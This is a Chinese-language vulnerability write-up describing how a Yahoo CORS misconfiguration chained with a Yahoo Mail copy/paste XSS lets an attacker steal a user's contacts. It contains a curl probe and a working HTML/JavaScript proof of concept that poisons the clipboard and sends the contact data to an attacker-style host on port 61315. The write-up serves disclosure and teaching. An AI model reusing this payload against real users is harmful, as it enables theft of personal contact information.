导语:文中介绍了研究人员如何利用两个漏洞(XSS和CORS误配置漏洞)来窃取受害者通讯录中的联系人信息。窃取的信息包括姓名、电话号码、地址等。
背景介绍
文中介绍了研究人员如何利用两个漏洞(XSS和CORS误配置漏洞)来窃取受害者通讯录中的联系人信息。窃取的信息包括姓名、电话号码、地址等。
跨域资源共享CORS(Cross-origin resource sharing)
跨域资源共享CORS(Cross-origin resource sharing)是一种用HTTP头来使用户代理从服务器上获取特定资源的权限,而这种请求权限是跨域的。而浏览器强制执行的是同源策略(Same-Origin Policy),同源策略意味着网站上的数据只允许相同域名和端口访问。这里有一个例外就是CORS配置,进行CORS配置后,就可以跨域访问了,数据可以在不同站点之间访问。
跨站脚本攻击XSS(Cross Site Scripting)
XSS一种客户端代码注入攻击方式,允许攻击者在有漏洞的应用中注入脚本。
利用的漏洞详情
Bug #1:
CORS误配置http://proddata.xobni.yahoo.com
研究人员用Burp Suite对*.yahoo.com子域名的不同请求进行了分析,发现一个很有趣的子域名proddata.xobni.yahoo.com,记录的请求很少,但是都是请求的endpoint都相同——https://proddata.xobni.yahoo.com/v4/contacts。该endpoint含有联系人目录中的每一个联系人,而且带有Access-Control-Allow-Credentials: true的源https://mail.yahoo.com被反射回Access-Control-Allow-Origin。研究人员尝试修改origin为不同的payload但是并没有效果,因此研究人员用一个雅虎的子域名替换了该payload。
curl 'https://proddata.xobni.yahoo.com/v4/contacts' -s -H 'Origin: https://hackerone-cdl.yahoo.com' –head
响应消息:
Access-Control-Allow-Origin: https://hackerone-cdl.yahoo.com
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
从上面的信息可以发现,可以接受所有*.yahoo.com子域名的数据并反射到ACAO中,这意味着如果可以在*.yahoo.com中发现XSS漏洞,就可以窃取用户通讯录信息。
Bug #2: Yahoo邮箱XSS漏洞
研究人员没有找到雅虎邮箱的XSS漏洞,但是在tweet上发现Enguerran Gillier (@opnsec)发现的雅虎邮箱中的复制粘贴XSS漏洞。
Poc
登录的用户可以从页面中复制任意信息并粘贴到雅虎邮箱中。
<!doctype html> <head> <title>Yahoo CORS Misconfiguration</title> </head> <body> <h1>Yahoo CORS Misconfiguration</h1> <p>Stealing Contact information via CORS Misconfiguration + Yahoo Mail XSS via Copy/Paste</p> <h3>Prerequisites :</h3> - Tested on Windows 10 with Firefox 56, Chrome 62, Edge<br/> <h3>Instructions :</h3> 1. Select any text in this page and copy it using ctrl-C or right click -> copy <br/> <span>Copy status : </span><span id="copied">not copied yet</span> <br/> 2. Go to Yahoo Mail, compose a new email and paste inside the email body<br/> 3. All of your contact's information will be sent to my server on port 61315 <script> document.addEventListener('copy', function(e){ e.clipboardData.setData('text/plain', ''); e.clipboardData.setData('text/html','<div id="enhancr2_a">xxx</div><img src="x" onerror="document.write('<script>var xhttp=new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.location="http://example.com:61315"+escape(this.responseText);}};xhttp.open("GET","https://proddata.xobni.yahoo.com/v4/contacts",true);xhttp.withCredentials = true;xhttp.send();</script>');">'); e.preventDefault(); document.getElementById("copied").textContent = "SUCCESSFULLY COPIED" }); </script>